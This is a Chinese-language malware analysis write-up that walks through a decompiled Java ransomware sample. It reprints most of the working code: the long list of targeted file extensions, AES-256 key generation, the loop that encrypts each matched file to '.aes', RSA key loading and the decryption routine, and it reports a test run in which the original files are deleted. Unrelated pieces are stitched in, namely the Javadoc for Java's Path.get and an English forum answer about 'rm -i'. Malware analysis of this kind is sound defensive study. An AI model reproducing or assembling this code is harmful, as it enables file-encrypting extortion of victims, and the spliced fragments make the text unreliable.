if (attack.equalsIgnoreCase("ENCRYPT")) {
p.StartEncryptProcess(PubicKey);
} else if (attack.equalsIgnoreCase("DECRYPT")) {
p.StartDecryptProcess(PrivateKey);
} else {
throw new RansomwareException("Mismatched Values Try again with correct one");
}
在这之前会处理传入的`toSearch`变量,这个是要加密的文件夹路径
[Java] 纯文本查看复制代码
RansomProcess p = new RansomProcess(toSearch);
`RansomProcess`类代码不长,都是这些`catch`的代码
刚刚的构造方法
[Java] 纯文本查看复制代码
public RansomProcess(String PathtoFind)
{
this.PathtoFind = PathtoFind;
}
同时有无参构造方法,会获取默认的路径
[Java] 纯文本查看复制代码
public RansomProcess()
{
this.PathtoFind = getDefaultPath();
}
private static final String DOC = "doc";
private static final String DOCX = "docx";
private static final String LOG = "log";
private static final String MSG = "msg";
private static final String ODT = "odt";
private static final String PAGES = "pages";
private static final String RTF = "rtf";
private static final String TEX = "tex";
private static final String TXT = "txt";
private static final String WPD = "wpd";
private static final String WPS = "wps";
private static final String HWP = "hwp";
private static final String CSV = "csv";
private static final String DAT = "dat";
private static final String GBR = "gbr";
private static final String GED = "ged";
private static final String KEY = "key";
private static final String KEYCHAIN = "keychain";
private static final String PPS = "pps";
private static final String PPT = "ppt";
private static final String PPTX = "pptx";
private static final String SDF = "sdf";
private static final String TAR = "tar";
private static final String TAX2012 = "tax2012";
private static final String TAX2014 = "tax2014";
private static final String VCF = "vcf";
private static final String XML = "xml";
private static final String ALF = "alf";
private static final String IFF = "iff";
private static final String M3U = "m3u";
private static final String M4A = "m4a";
private static final String MID = "mid";
private static final String MP3 = "mp3";
private static final String MPA = "mpa";
private static final String RA = "ra";
private static final String WAV = "wav";
private static final String WMA = "wma";
private static final String G32 = "3g2";
private static final String G3P = "3gp";
private static final String ASF = "asf";
private static final String ASX = "asx";
private static final String AVI = "avi";
private static final String FLV = "flv";
private static final String M4V = "m4v";
private static final String MOV = "mov";
private static final String MP4 = "mp4";
private static final String MPG = "mpg";
private static final String RM = "rm";
private static final String SRT = "srt";
private static final String SWF = "swf";
private static final String VOB = "vob";
private static final String WMV = "wmv";
private static final String D3M = "3dm";
private static final String D3S = "3ds";
private static final String MAX = "max";
private static final String OBJ = "obj";
private static final String BMP = "bmp";
private static final String DDA = "dda";
private static final String GIF = "gif";
private static final String JPG = "jpg";
private static final String PNG = "png";
private static final String PSD = "psd";
private static final String PSIMAGE = "pspimage";
private static final String TGA = "tga";
private static final String THM = "thm";
private static final String TIF = "tif";
private static final String TIFF = "tiff";
private static final String YUV = "yuv";
private static final String AI = "ai";
private static final String EPS = "eps";
private static final String PS = "ps";
private static final String SVG = "svg";
private static final String INDD = "indd";
private static final String PCT = "pct";
private static final String PDF = "pdf";
private static final String XLR = "xlr";
private static final String XLS = "xls";
private static final String XLSX = "xlsx";
private static final String Z7 = "7z";
private static final String RAR = "rar";
private static final String ZIP = "zip";
private static final String TARGZ = "tar.gz";
private static final String APK = "apk";
private static final String APP = "app";
private static final String COM = "com";
private static final String EXE = "exe";
private static final String ASP = "asp";
private static final String ASPX = "apsx";
private static final String CSS = "css";
private static final String HTM = "htm";
private static final String HTML = "html";
private static final String JS = "js";
private static final String JSP = "jsp";
private static final String PHP = "php";
private static final String XHTML = "xhtml";
private static final String FNT = "fnt";
private static final String FONT = "font";
private static final String OFT = "oft";
private static final String TTF = "ttf";
private static final String CRDOWNLAOD = "crdownload";
private static final String ICS = "ics";
private static final String MSI = "msi";
private static final String PART = "part";
private static final String TORRENT = "torrent";
唯独没有后缀的文件作者没有考虑
然后定义了一堆HashMap,和前面的后缀名对应,键和键值暂时不清楚是什么
[Java] 纯文本查看复制代码
private final HashMap<String, String> docMap;
private final HashMap<String, String> docxMap;
private final HashMap<String, String> logMap;
private final HashMap<String, String> msgMap;
private final HashMap<String, String> odtMap;
private final HashMap<String, String> pagesMap;
private final HashMap<String, String> rtfMap;
private final HashMap<String, String> texMap;
private final HashMap<String, String> txtMap;
private final HashMap<String, String> wpdMap;
private final HashMap<String, String> wpsMap;
private final HashMap<String, String> hwpMap;
private final HashMap<String, String> csvMap;
private final HashMap<String, String> datMap;
private final HashMap<String, String> gbrMap;
private final HashMap<String, String> gedMap;
private final HashMap<String, String> keyMap;
private final HashMap<String, String> keychainMap;
private final HashMap<String, String> ppsMap;
private final HashMap<String, String> pptMap;
private final HashMap<String, String> pptxMap;
private final HashMap<String, String> sdfMap;
private final HashMap<String, String> tarMap;
private final HashMap<String, String> tax2012Map;
private final HashMap<String, String> tax2014Map;
private final HashMap<String, String> vcfMap;
private final HashMap<String, String> xmlMap;
private final HashMap<String, String> alfMap;
private final HashMap<String, String> iffMap;
private final HashMap<String, String> m3uMap;
private final HashMap<String, String> m4aMap;
private final HashMap<String, String> midMap;
private final HashMap<String, String> mp3Map;
private final HashMap<String, String> mpaMap;
private final HashMap<String, String> raMap;
private final HashMap<String, String> wavMap;
private final HashMap<String, String> wmaMap;
private final HashMap<String, String> g2Map;
private final HashMap<String, String> gpMap;
private final HashMap<String, String> asfMap;
private final HashMap<String, String> asxMap;
private final HashMap<String, String> aviMap;
private final HashMap<String, String> flvlvMap;
private final HashMap<String, String> m4vMap;
private final HashMap<String, String> movMap;
private final HashMap<String, String> mp4Map;
private final HashMap<String, String> mpgMap;
private final HashMap<String, String> rmMap;
private final HashMap<String, String> srtMap;
private final HashMap<String, String> swfMap;
private final HashMap<String, String> vobMap;
private final HashMap<String, String> wmvMap;
private final HashMap<String, String> d3mMap;
private final HashMap<String, String> d3sMap;
private final HashMap<String, String> maxMap;
private final HashMap<String, String> objMap;
private final HashMap<String, String> bmpMap;
private final HashMap<String, String> ddaMap;
private final HashMap<String, String> gifMap;
private final HashMap<String, String> jpgMap;
private final HashMap<String, String> pngMap;
private final HashMap<String, String> psdMap;
private final HashMap<String, String> pspimageMap;
private final HashMap<String, String> tgaMap;
private final HashMap<String, String> thmMap;
private final HashMap<String, String> tifMap;
private final HashMap<String, String> tiffMap;
private final HashMap<String, String> yuvMap;
private final HashMap<String, String> aiMap;
private final HashMap<String, String> epsMap;
private final HashMap<String, String> psMap;
private final HashMap<String, String> svgMap;
private final HashMap<String, String> inddMap;
private final HashMap<String, String> pctMap;
private final HashMap<String, String> pdfMap;
private final HashMap<String, String> xlrMap;
private final HashMap<String, String> xlsMap;
private final HashMap<String, String> xlsxMap;
private final HashMap<String, String> z7Map;
private final HashMap<String, String> rarMap;
private final HashMap<String, String> zipMap;
private final HashMap<String, String> targzMap;
private final HashMap<String, String> apkMap;
private final HashMap<String, String> appMap;
private final HashMap<String, String> comMap;
private final HashMap<String, String> exeMap;
private final HashMap<String, String> aspMap;
private final HashMap<String, String> aspxMap;
private final HashMap<String, String> cssMap;
private final HashMap<String, String> htmMap;
private final HashMap<String, String> htmlMap;
private final HashMap<String, String> jsMap;
private final HashMap<String, String> jspMap;
private final HashMap<String, String> phpMap;
private final HashMap<String, String> xhtmlMap;
private final HashMap<String, String> fntMap;
private final HashMap<String, String> fontMap;
private final HashMap<String, String> oftMap;
private final HashMap<String, String> ttfMap;
private final HashMap<String, String> crdownloadMap;
private final HashMap<String, String> icsMap;
private final HashMap<String, String> msiMap;
private final HashMap<String, String> partMap;
private final HashMap<String, String> torrentMap;
最终返回的TreeMap和传入的路径
[Java] 纯文本查看复制代码
private final TreeMap<String, HashMap<String, String>> containsFilters;
private String PathtoFind;
来看构造函数,传入路径,创建容器对象
[Java] 纯文本查看复制代码
public SearchDirectory(final String PathtoFind) {
super();
this.docMap = new HashMap<String, String>();
this.docxMap = new HashMap<String, String>();
this.logMap = new HashMap<String, String>();
this.msgMap = new HashMap<String, String>();
this.odtMap = new HashMap<String, String>();
this.pagesMap = new HashMap<String, String>();
this.rtfMap = new HashMap<String, String>();
this.texMap = new HashMap<String, String>();
this.txtMap = new HashMap<String, String>();
this.wpdMap = new HashMap<String, String>();
this.wpsMap = new HashMap<String, String>();
this.hwpMap = new HashMap<String, String>();
this.csvMap = new HashMap<String, String>();
this.datMap = new HashMap<String, String>();
this.gbrMap = new HashMap<String, String>();
this.gedMap = new HashMap<String, String>();
this.keyMap = new HashMap<String, String>();
this.keychainMap = new HashMap<String, String>();
this.ppsMap = new HashMap<String, String>();
this.pptMap = new HashMap<String, String>();
this.pptxMap = new HashMap<String, String>();
this.sdfMap = new HashMap<String, String>();
this.tarMap = new HashMap<String, String>();
this.tax2012Map = new HashMap<String, String>();
this.tax2014Map = new HashMap<String, String>();
this.vcfMap = new HashMap<String, String>();
this.xmlMap = new HashMap<String, String>();
this.alfMap = new HashMap<String, String>();
this.iffMap = new HashMap<String, String>();
this.m3uMap = new HashMap<String, String>();
this.m4aMap = new HashMap<String, String>();
this.midMap = new HashMap<String, String>();
this.mp3Map = new HashMap<String, String>();
this.mpaMap = new HashMap<String, String>();
this.raMap = new HashMap<String, String>();
this.wavMap = new HashMap<String, String>();
this.wmaMap = new HashMap<String, String>();
this.g2Map = new HashMap<String, String>();
this.gpMap = new HashMap<String, String>();
this.asfMap = new HashMap<String, String>();
this.asxMap = new HashMap<String, String>();
this.aviMap = new HashMap<String, String>();
this.flvlvMap = new HashMap<String, String>();
this.m4vMap = new HashMap<String, String>();
this.movMap = new HashMap<String, String>();
this.mp4Map = new HashMap<String, String>();
this.mpgMap = new HashMap<String, String>();
this.rmMap = new HashMap<String, String>();
this.srtMap = new HashMap<String, String>();
this.swfMap = new HashMap<String, String>();
this.vobMap = new HashMap<String, String>();
this.wmvMap = new HashMap<String, String>();
this.d3mMap = new HashMap<String, String>();
this.d3sMap = new HashMap<String, String>();
this.maxMap = new HashMap<String, String>();
this.objMap = new HashMap<String, String>();
this.bmpMap = new HashMap<String, String>();
this.ddaMap = new HashMap<String, String>();
this.gifMap = new HashMap<String, String>();
this.jpgMap = new HashMap<String, String>();
this.pngMap = new HashMap<String, String>();
this.psdMap = new HashMap<String, String>();
this.pspimageMap = new HashMap<String, String>();
this.tgaMap = new HashMap<String, String>();
this.thmMap = new HashMap<String, String>();
this.tifMap = new HashMap<String, String>();
this.tiffMap = new HashMap<String, String>();
this.yuvMap = new HashMap<String, String>();
this.aiMap = new HashMap<String, String>();
this.epsMap = new HashMap<String, String>();
this.psMap = new HashMap<String, String>();
this.svgMap = new HashMap<String, String>();
this.inddMap = new HashMap<String, String>();
this.pctMap = new HashMap<String, String>();
this.pdfMap = new HashMap<String, String>();
this.xlrMap = new HashMap<String, String>();
this.xlsMap = new HashMap<String, String>();
this.xlsxMap = new HashMap<String, String>();
this.z7Map = new HashMap<String, String>();
this.rarMap = new HashMap<String, String>();
this.zipMap = new HashMap<String, String>();
this.targzMap = new HashMap<String, String>();
this.apkMap = new HashMap<String, String>();
this.appMap = new HashMap<String, String>();
this.comMap = new HashMap<String, String>();
this.exeMap = new HashMap<String, String>();
this.aspMap = new HashMap<String, String>();
this.aspxMap = new HashMap<String, String>();
this.cssMap = new HashMap<String, String>();
this.htmMap = new HashMap<String, String>();
this.htmlMap = new HashMap<String, String>();
this.jsMap = new HashMap<String, String>();
this.jspMap = new HashMap<String, String>();
this.phpMap = new HashMap<String, String>();
this.xhtmlMap = new HashMap<String, String>();
this.fntMap = new HashMap<String, String>();
this.fontMap = new HashMap<String, String>();
this.oftMap = new HashMap<String, String>();
this.ttfMap = new HashMap<String, String>();
this.crdownloadMap = new HashMap<String, String>();
this.icsMap = new HashMap<String, String>();
this.msiMap = new HashMap<String, String>();
this.partMap = new HashMap<String, String>();
this.torrentMap = new HashMap<String, String>();
this.containsFilters = new TreeMap<String, HashMap<String, String>>();
this.PathtoFind = PathtoFind;
this.AddContainFilter();
this.SavAllFilters();
}
/**
* Converts a path string, or a sequence of strings that when joined form
* a path string, to a {@Code Path}. If {@code more} does not specify any
* elements then the value of the {@code first} parameter is the path string
* to convert. If {@code more} specifies one or more elements then each
* non-empty string, including {@code first}, is considered to be a sequence
* of name elements (see {@link Path}) and is joined to form a path string.
* The details as to how the Strings are joined is provider specific but
* typically they will be joined using the {@link FileSystem#getSeparator
* name-separator} as the separator. For example, if the name separator is
* "{@code /}" and {@code getPath("/foo","bar","gus")} is invoked, then the
* path string {@code "/foo/bar/gus"} is converted to a {@code Path}.
* A {@code Path} representing an empty path is returned if {@code first}
* is the empty string and {@code more} does not contain any non-empty
* strings.
*
* <p> The {@code Path} is obtained by invoking the {@link FileSystem#getPath
* getPath} method of the {@link FileSystems#getDefault default} {@link
* FileSystem}.
*
* <p> Note that while this method is very convenient, using it will imply
* an assumed reference to the default {@code FileSystem} and limit the
* utility of the calling code. Hence it should not be used in library code
* intended for flexible reuse. A more flexible alternative is to use an
* existing {@code Path} instance as an anchor, such as:
* <pre>
* Path dir = ...
* Path path = dir.resolve("file");
* </pre>
*
* @param first
* the path string or initial part of the path string
* @param more
* additional strings to be joined to form the path string
*
* @Return the resulting {@code Path}
*
* @throws InvalidPathException
* if the path string cannot be converted to a {@code Path}
*
* @see FileSystem#getPath
*/
public static Path get(String first, String... more) {
return FileSystems.getDefault().getPath(first, more);
}
I figure rm -i is an alias, possibly rm -i. The "regular" part doesn't mean anything in particular, it only means that it's not a pipe, device, socket or anything other "special".
it means the file is not a symlink, pipe, rand, null, cpu, etc. Perhaps you have heard the linux philosophy everything is a text. This isn't literally true, but it suggests a dominant operational context where string processing tools can be applied to filesystem elements directly. In this case, it means that in a more literal fashion. To see the detection step in isolation, try the command file, as in file /etc/passwd or file /dev/null.
public TreeMap<String, HashMap<String, String>> GetFileMap() {
return this.containsFilters;
}
在获取了目标路径下的文件信息后,设置迭代器,并定义一个key
[Java] 纯文本查看复制代码
final Set set = containsFilters.entrySet();
final Iterator iterator = set.iterator();
SecretKeySpec aesKey = null;
然后初始化key
[Java] 纯文本查看复制代码
aesKey = CryptoRansomware.GenKey();
`GenKey()`方法
[Java] 纯文本查看复制代码
public static SecretKeySpec GenKey() throws NoSuchAlgorithmException, RansomwareException, SQLException {
if (EmbeddedDatabase.CreateTable()) {
throw new RansomwareException("Already Encrypted And Stored To Embedded Database");
}
final KeyGenerator kgen = KeyGenerator.getInstance("AES");
kgen.init(256);
final SecretKey key = kgen.generateKey();
final byte[] aesKey = key.getEncoded();
final SecretKeySpec aeskeySpec = new SecretKeySpec(aesKey, "AES");
return aeskeySpec;
}
while (iterator.hasNext()) {
final Map.Entry mentry = (Map.Entry)iterator.next();
final Object obj = mentry.getValue();
final ObjectMapper oMapper = new ObjectMapper();
final HashMap<String, String> Map = (HashMap<String, String>)oMapper.<HashMap<String, String>>convertValue(obj, (Class<HashMap<String, String>>)HashMap.class);
final Set mapset = Map.entrySet();
for (final Map.Entry entry : mapset) {
final File filein = new File(entry.getKey() + "." + entry.getValue());
final File fileout = new File(entry.getKey() + ".aes");
CryptoRansomware.EncryptFile(filein, fileout, aesKey);
}
}
public static PublicKey loadPublicKey(final String stored) throws GeneralSecurityException {
final byte[] data = Base64.decodeBase64(stored);
final X509EncodedKeySpec spec = new X509EncodedKeySpec(data);
final KeyFactory fact = KeyFactory.getInstance("RSA");
return fact.generatePublic(spec);
}
while (iterator.hasNext()) {
final Map.Entry mentry = (Map.Entry)iterator.next();
final Object obj = mentry.getValue();
final ObjectMapper oMapper = new ObjectMapper();
final HashMap<String, String> Map = (HashMap<String, String>)oMapper.<HashMap<String, String>>convertValue(obj, (Class<HashMap<String, String>>)HashMap.class);
final Set mapset = Map.entrySet();
for (final Map.Entry entry : mapset) {
final File filein = new File(entry.getKey() + "." + entry.getValue());
final File fileout = new File(entry.getKey() + ".aes");
CryptoRansomware.DecryptFile(fileout, filein, aesKey);
}
}
解密的具体代码,最终会删除已解密的加密文件,并输出已解密的文件路径
[Java] 纯文本查看复制代码
public static void DecryptFile(final File in, final File out, final SecretKeySpec aeskeySpec) {
try {
final Cipher aesCipher = Cipher.getInstance("AES/CFB8/NoPadding");
aesCipher.init(2, aeskeySpec, new IvParameterSpec(CryptoRansomware.ivBytes));
final CipherInputStream is = new CipherInputStream(new FileInputStream(in), aesCipher);
final FileOutputStream os = new FileOutputStream(out);
copy(is, os);
is.close();
os.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
catch (NoSuchPaddingException e) {
e.printStackTrace();
}
catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
catch (InvalidAlgorithmParameterException e3) {
e3.printStackTrace();
}
catch (InvalidKeyException e4) {
e4.printStackTrace();
}
final boolean bool = in.delete();
System.out.println("File deleted: " + bool);
}
那么整个样本的逆向分析到这里就已经结束了,接下来我们对照一下源码对比一下关键的地方
## 0x02 源码对比
导入IDEA
前面说的第一处问题,其实反编译器直接标注出来也方便分析
第二处,逆向的时候这里还分了两个`switch`,直接700+行
这个地方一开始我觉得可能会有跨平台的问题,后面实验发现并没有
## 0x03 测试
加密
加密完的效果,源文件被删除,后缀变成`.aes`,注意`Successfully removed cryptography restrictions`,既然走到这个分支,说明获取到的是`Java(TM) SE Runtime Environment`